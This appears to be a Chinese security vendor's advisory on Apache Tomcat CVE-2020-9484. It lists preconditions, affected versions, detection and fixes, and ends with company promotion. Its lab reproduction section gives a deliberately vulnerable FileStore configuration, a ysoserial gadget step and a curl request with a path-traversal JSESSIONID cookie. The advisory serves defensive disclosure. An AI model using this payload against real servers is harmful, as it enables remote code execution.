Apache Tomcat 反序列化代码执行漏洞复现(CVE-2020-9484)

Apache Tomcat 反序列化代码执行漏洞复现(CVE-2020-9484)

漏洞概述

北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

成功利用此漏洞需要同时满足以下4个条件:

1.攻击者能够控制服务器上文件的内容和文件名称

2.服务器PersistenceManager配置中使用了FileStore

3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

漏洞影响

【威胁等级】

中危

【影响版本】

  • Apache Tomcat 10.0.0-M1—10.0.0-M4
  • Apache Tomcat 9.0.0.M1—9.0.34
  • Apache Tomcat 8.5.0—8.5.54
  • Apache Tomcat 7.0.0—7.0.103

漏洞复现

漏洞环境可以在本地搭建或者使用docker环境

【本地环境搭建】

  1. 官网下载漏洞版本链接:archive.apache.org/dist
  2. 配置tomcat的conf/context.xml文件:

<Context>

...

<Manager className="org.apache.catalina.session.PersistentManager"

debug="0"

saveOnRestart="false"

maxActiveSession="-1"

minIdleSwap="-1"

maxIdleSwap="-1"

maxIdleBackup="-1">

<Store className="org.apache.catalina.session.FileStore" directory="./session" />

</Manager>

</Context>

3. 部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:

dependencies {

compile 'org.apache.commons:commons-collections4:4.0'

}


【docker环境搭建】

$ git clone github.com/masahiro331/

$ cd CVE-2020-9484

$ docker build -t tomcat:groovy .

$ docker run -d -p 8080:8080 tomcat:groovy


【本地环境验证】

1、使用ysoserial工具生成commons-collections4依赖的gadget恶意序列化数据(这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:github.com/threedr3am/t

2、通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录(后缀必须是“.session”)

3、发起恶意请求,请求payload。



结果显示漏洞存在。


【docker环境验证】

执行以下命令进行利用

curl '127.0.0.1:8080/index.js' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

运行结果检查:



在tmp下创建rce目录,漏洞存在。

漏洞检测

【版本检查】

从Apache Tomcat官网下载的安装包名称中会包含Tomcat的版本号,如果解压后没有更改目录名,可通过查看文件夹名称来确定当前使用的版本;

如果解压后目录名称被修改过,或者通过Windows Service Installer方式安装,可使用软件自带的version模块来获取当前的版本。也可以进入Tomcat安装目录的bin目录,运行version.bat(Linux运行version.sh)后,可查看当前的软件版本号。


【配置检查】

查看conf/context.xml文件或具体项目的server.xml文件中,是否存在以下<Manager>节点

若当前版本在受影响范围内且在PersistenceManager配置中使用了FileStore,则可能存在安全风险。

修复建议

【通用修补】

目前官方已在最新版本中修复了该漏洞,官方下载链接:

【临时修补】

禁止使用Session持久化功能FileStore。(或单独配置sessionAttributeValueClassNameFilte的值确保只有特定属性的对象可以被序列化与反序列化)


参考链接:

tomcat.apache.org/secur

github.com/threedr3am/t


华云安介绍
华云安在网络空间威胁治理、漏洞管理、攻防渗透方面具备深厚的技术积累,推出了华云安新一代自适应网络安全威胁与漏洞管理平台,面向网络空间安全领域,采用自主网络安全漏洞元语言模型,基于知识图谱的下一代人工智能引擎,形成自动化的漏洞挖掘与利用能力,进行持续的风险检测和威胁防御,实现安全检测、分析、响应的自动化及网络安全攻防对抗服务。
“以攻促防,攻防兼备”是公司的核心理念。公司具有一流的网络安全攻防团队,以及漏洞管理、自动化渗透、安全接入等网络安全产品,提供集网络安全情报采集分析与分享能力、关键信息基础设施防御能力、网络安全反制能力于一体的新一代自适应网络安全威胁检测与防御平台。主要服务于国家机构及金融、能源、教育、医疗等关键信息基础设施行业。

weixin.qq.com/r/1TkeBsT (二维码自动识别)

发布于 05-22